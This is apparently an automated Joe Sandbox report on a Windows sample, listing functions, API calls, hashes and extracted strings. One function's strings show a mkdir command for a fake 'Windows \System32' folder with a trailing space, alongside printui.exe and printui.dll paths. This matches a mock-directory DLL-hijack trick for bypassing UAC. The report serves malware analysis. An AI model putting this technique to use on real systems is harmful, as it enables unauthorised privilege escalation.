Instruction Fuzzy Hash: 0641D161F0D24341EA60BA2A68117BAE6D0BF84B80F946135EF4D877C2EE3EE4119700

Function 00007FF646E71350 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF646E71354

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: afc3732fb09b00957e6d9b9e59837188e6bcaccd39b1973a2f17ab7d337b00b0
Instruction ID: 5ea24d45a56079c69c87094a161b793755a584d88b75b74d2cc4d527ad91dd93
Opcode Fuzzy Hash: afc3732fb09b00957e6d9b9e59837188e6bcaccd39b1973a2f17ab7d337b00b0
Instruction Fuzzy Hash: DEB09220F0FB06C2EA183B156C8222862E47F88706F944038C44D91320EE2D20A5AB01

Function 00007FF646E4DB00 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8630088bedf43b45efc83e78047511b165fa0e48c8b5310172f303b3592d8840
Instruction ID: 6530ae92e21a0e8785e7c900dd5740c8ad675238f440485ecef3ad41e6b981c6
Opcode Fuzzy Hash: 8630088bedf43b45efc83e78047511b165fa0e48c8b5310172f303b3592d8840
Instruction Fuzzy Hash: 11024522B1C78646EB24BF25E650379E6D5FB54BC4F044136DE4E93BA5DEBEE8408B00

Function 00007FF646E43240 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63a087eea669627eeaa8c4df526416d5ff6df87c0b67d54210a6f718651d713a
Instruction ID: a3c7550a3a8d0fc1af341c527a151bfd55e3c495a05929dff2095a4825d839cd
Opcode Fuzzy Hash: 63a087eea669627eeaa8c4df526416d5ff6df87c0b67d54210a6f718651d713a
Instruction Fuzzy Hash: 37D16DB1F0C65A47DE28AA3BE411AB9A6D4B794BC0F445035EE4ED3BA0DE7DE905C300

Function 00007FF646E42CC0 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fd9953bc33474c6735e6af57a768e1f19704400e02921f62bb87ed1167c1393
Instruction ID: 8a2b5f91e3e397ec1a62a5105f6d15ef60594719278461573857899daf4d1e9e
Opcode Fuzzy Hash: 6fd9953bc33474c6735e6af57a768e1f19704400e02921f62bb87ed1167c1393
Instruction Fuzzy Hash: 2CD13A72F0C5560BEB18A92EA581A78E6D5F7D4780F115135DA0AC3BE0EFBAE845C740

Function 00007FF646E64BD8 Relevance: .3, Instructions: 310COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: NameTranslate$CodePageValid_invalid_parameter_noinfo
String ID:
API String ID: 4003095782-0
Opcode ID: e10e9d0c4bd4698ae2119b11ebc5ed12b49a139d07d8edb5367bd8358ec11802
Instruction ID: 41da470cbc1dc2831f9cbc8538a6aa0930f7ad699985f12b8161d203303acf81
Opcode Fuzzy Hash: e10e9d0c4bd4698ae2119b11ebc5ed12b49a139d07d8edb5367bd8358ec11802
Instruction Fuzzy Hash: 2FC1B566B0C78285EB60BB6195107BAA7E0FB94788F90A035EF8DC7685EE3ED545C700

Function 00007FF646E70008 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6cb4625e45d58a0910bfd8cdfce76e42e3f73ba13f615c12a1c0a3c670d318e2
Instruction ID: 26a6ef504f9cab8927bc058478b256af383989278426d6a9e7ca1b051352d3fd
Opcode Fuzzy Hash: 6cb4625e45d58a0910bfd8cdfce76e42e3f73ba13f615c12a1c0a3c670d318e2
Instruction Fuzzy Hash: 4EB1DF72A0C68686EB64FFA1C4016B9A3E1FB94B89F404231DA1DD36CBDF3EE5558740

Function 00007FF646E55770 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 909e536e5f028c02a303395f5f4b9b9aa82288cb5e27370e608007b94726d885
Instruction ID: 61c775d357166a8c0d91a90897d32dc421c431c0dad301a2854355d4fa1b850c
Opcode Fuzzy Hash: 909e536e5f028c02a303395f5f4b9b9aa82288cb5e27370e608007b94726d885
Instruction Fuzzy Hash: A4A115A2E1D64286FB24B685C4587B8B7D1FF05BE0F554236CA6D877C2DF6EAC858300

Function 00007FF646E62E60 Relevance: .2, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 4e86ed7b0f11888a8cf23dd40d8c42b1333a2a400f5e338778c74e58754a8851
Instruction ID: 02b2545448d8a35a5870f7479e39f7a0b8055790ae9bd93e6d06cb6670c8a486
Opcode Fuzzy Hash: 4e86ed7b0f11888a8cf23dd40d8c42b1333a2a400f5e338778c74e58754a8851
Instruction Fuzzy Hash: C681A032A1CA1186EB50FE25D48137D63A0FB44B98F906636EF6E87785DF3AD4428340

Function 00007FF646E71B84 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3fad3349443e4352ca4563b4ee5ec969484cc0914d58ee3d7b4fc483fe2e7ef2
Instruction ID: d1fa9f77fc621c00310aa1d31bb5549c29928ad88435889dcc608461819f54c4
Opcode Fuzzy Hash: 3fad3349443e4352ca4563b4ee5ec969484cc0914d58ee3d7b4fc483fe2e7ef2
Instruction Fuzzy Hash: 5761A622E1C79246FB68BA6984442F9E6D1BF40763F584235DB5DC6AC6DF6FE8008B00

Function 00007FF646E65EDC Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: a26e0b7e733c20988fe20099792aab32ae393d089d120619116f29894ba203d9
Instruction ID: 526c80e6f7b3c7bc8dbaaaba446c0aea842043bef0c42ced6a17694b5087df56
Opcode Fuzzy Hash: a26e0b7e733c20988fe20099792aab32ae393d089d120619116f29894ba203d9
Instruction Fuzzy Hash: C141E562B2CA5581EF44EF2AD954169B3E1B748FC0B59A032DE0DC7B58EE7EC4428300

Function 00007FF646E73080 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d478a4e633571b100eff9937f2f319f24f786d33950d94471d75dc4775c8fb78
Instruction ID: 7174b50f9b739396638ae0b0088a3ac25849459ffbd89a31a63de269dd539783
Opcode Fuzzy Hash: d478a4e633571b100eff9937f2f319f24f786d33950d94471d75dc4775c8fb78
Instruction Fuzzy Hash: 731182B1B1C28386F7A9BB28D451339B7E0BB44386F508039C88DC6691DE7F90909F00

Function 00007FF646E5B9E0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5d79c6fb8e57b0788135a22f2493030c6b79ed2c5f3866b13dce419ad53cb2
Instruction ID: 1328370ac41996b623a801a3a3742ff1268c92b0f5fc3f9f73eaaad72ddc4ca9
Opcode Fuzzy Hash: 4c5d79c6fb8e57b0788135a22f2493030c6b79ed2c5f3866b13dce419ad53cb2
Instruction Fuzzy Hash: C3A00261A0DC17D0E785BF41E8A4034A7B4FB60315B400131D00DC14A29F3FE448C340

Function 00007FF646E45EB0 Relevance: 33.5, APIs: 11, Strings: 8, Instructions: 285COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF646E45F14

Strings

{}Windows \System32\printui.exe, xrefs: 00007FF646E460B1
{}Windows \System32\printui.dll, xrefs: 00007FF646E46153
ios_base::eofbit set, xrefs: 00007FF646E474FA
{}Windows\System32\printui.exe, xrefs: 00007FF646E4600F
ios_base::failbit set, xrefs: 00007FF646E474F3
ios_base::badbit set, xrefs: 00007FF646E474E7
{}Windows \System32, xrefs: 00007FF646E45F63
mkdir "\\?\{}Windows \System32", xrefs: 00007FF646E46620

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: DirectorySystem
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$mkdir "\\?\{}Windows \System32"${}Windows \System32${}Windows \System32\printui.dll${}Windows \System32\printui.exe${}Windows\System32\printui.exe
API String ID: 2188284642-3176087396
Opcode ID: 98b50da478baaa1de672331d57bb35c1ec3c883be076bdde22644114fde739cf
Instruction ID: 2a618bd0c3765c403efcc3002e46297dc24174857e9af96a8d3b370b810929cf
Opcode Fuzzy Hash: 98b50da478baaa1de672331d57bb35c1ec3c883be076bdde22644114fde739cf
Instruction Fuzzy Hash: 33F1193252CBC695E661AB14F4803EAF3A0FBD8344F505126EBCD92A59EF7DD184CB50

Function 00007FF646E4F410 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 221COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E4F704
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E4F711
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E4F71E
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E4F72B
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E4F738
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E4F745
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E4F752

Strings

Unknown format specifier., xrefs: 00007FF646E4F70A
Can not switch from manual to automatic indexing, xrefs: 00007FF646E4F73E
Invalid format string., xrefs: 00007FF646E4F717
Number is too big, xrefs: 00007FF646E4F731
Missing '}' in format string., xrefs: 00007FF646E4F6FD, 00007FF646E4F74B
Can not switch from automatic to manual indexing, xrefs: 00007FF646E4F724

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Can not switch from automatic to manual indexing$Can not switch from manual to automatic indexing$Invalid format string.$Missing '}' in format string.$Number is too big$Unknown format specifier.
API String ID: 909987262-3302395901
Opcode ID: f852bf43495b18fcd690be9e3e28f9d983a114facf201d046bf2690be2c80a98
Instruction ID: fbe5247983a96eb794997848c01b09321318f7f044650f1a9b49ab950d7745d9
Opcode Fuzzy Hash: f852bf43495b18fcd690be9e3e28f9d983a114facf201d046bf2690be2c80a98
Instruction Fuzzy Hash: 02918D32A0CA4685EB10BF75D4502BCB3B1FB84B88F544232DA0D93699EFBEE559C340

Function 00007FF646E58974 Relevance: 21.2, APIs: 14, Instructions: 192fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32 ref: 00007FF646E589C0
GetLastError.KERNEL32 ref: 00007FF646E589D7
CreateFileW.KERNEL32 ref: 00007FF646E58A20
GetLastError.KERNEL32 ref: 00007FF646E58A2F
CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF646E458BC), ref: 00007FF646E58A5D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF646E458BC), ref: 00007FF646E58A6C
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF646E458BC), ref: 00007FF646E58A8A
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF646E458BC), ref: 00007FF646E58AC6
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF646E458BC), ref: 00007FF646E58AF9
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF646E458BC), ref: 00007FF646E58B10
CopyFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF646E458BC), ref: 00007FF646E58B2C
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF646E458BC), ref: 00007FF646E58B74
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF646E458BC), ref: 00007FF646E58B8B

Part of subcall function 00007FF646E58794: GetFileInformationByHandleEx.KERNEL32 ref: 00007FF646E587B9

GetLastError.KERNEL32 ref: 00007FF646E58BD8

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Handle$Close$File$ErrorLast$CopyCreate$Information
String ID:
API String ID: 1679173910-0
Opcode ID: cdc2370f03e498abcb4d903f02943b37053576bc7416c231958bfc27685e064e
Instruction ID: c9c3e66688bdba9477d83bda997b551a4f864aee477c1f7786761fc6994f70a3
Opcode Fuzzy Hash: cdc2370f03e498abcb4d903f02943b37053576bc7416c231958bfc27685e064e
Instruction Fuzzy Hash: F9816161F0C65289F7A0BBB594402BEA7E5BB047A8F040B35CE6D97AD9DF3AD506C340

Function 00007FF646E52E10 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 423COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E52E3B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E52E60
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E52E8A
std::_Facet_Register.LIBCPMT ref: 00007FF646E52F01
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E52F1B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF646E52F43
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E533DE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E533E4
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E533F1

Strings

integral cannot be stored in wchar_t, xrefs: 00007FF646E533EA

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~__invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskFacet_RegisterXinvalid_argument
String ID: integral cannot be stored in wchar_t
API String ID: 3363080787-1689078516
Opcode ID: 33d60e48c9cc2b1c7334e3df05d72950c53ea0b52d52df320c4881f80e9dcc3c
Instruction ID: ee94f54dd32c0cf393a57da76dae798da08934651ed32bf067941dd4b0c75d03
Opcode Fuzzy Hash: 33d60e48c9cc2b1c7334e3df05d72950c53ea0b52d52df320c4881f80e9dcc3c
Instruction Fuzzy Hash: 3A029432A1CB8185EB11FBA9D4402BDB7E0FB44794F944236EA9D87A99EF3DD485C700

Function 00007FF646E525A0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 123COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E52717
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E52724
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E52731
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E5273E
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E5274B

Strings

Precision not allowed for this argument type., xrefs: 00007FF646E52710
Can not switch from manual to automatic indexing, xrefs: 00007FF646E52744
Invalid format string., xrefs: 00007FF646E52737
Number is too big, xrefs: 00007FF646E5272A
Can not switch from automatic to manual indexing, xrefs: 00007FF646E5271D

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Can not switch from automatic to manual indexing$Can not switch from manual to automatic indexing$Invalid format string.$Number is too big$Precision not allowed for this argument type.
API String ID: 909987262-435359029
Opcode ID: 655d5505bb36caab243fe4db9d9417e084068b7e30e5faad357a348e62d825d5
Instruction ID: f9d482c8161e6f572ed8008a3a928a1bf3c401e32ebd9962575924c8b8424e5b
Opcode Fuzzy Hash: 655d5505bb36caab243fe4db9d9417e084068b7e30e5faad357a348e62d825d5
Instruction Fuzzy Hash: 9341D132A0C9868AEA25FB28D4502B9A3E0FF51744F944132D75DC36E6EF2FE595C740

Function 00007FF646E5928C Relevance: 16.7, APIs: 11, Instructions: 157COMMON

Download Yara Rule

APIs

__std_fs_open_handle.LIBCPMT ref: 00007FF646E592CC

Part of subcall function 00007FF646E59178: CreateFileW.KERNEL32 ref: 00007FF646E591AB
Part of subcall function 00007FF646E59178: GetLastError.KERNEL32 ref: 00007FF646E591BA

SetFileInformationByHandle.KERNEL32 ref: 00007FF646E592F6
__std_fs_open_handle.LIBCPMT ref: 00007FF646E5932E
CloseHandle.KERNEL32 ref: 00007FF646E59348
GetLastError.KERNEL32 ref: 00007FF646E5937C
GetFileInformationByHandleEx.KERNEL32 ref: 00007FF646E593C8
GetLastError.KERNEL32 ref: 00007FF646E593D6
CloseHandle.KERNEL32 ref: 00007FF646E593EC
SetFileInformationByHandle.KERNEL32 ref: 00007FF646E59418
SetFileInformationByHandle.KERNEL32 ref: 00007FF646E5944C
GetLastError.KERNEL32 ref: 00007FF646E5946E

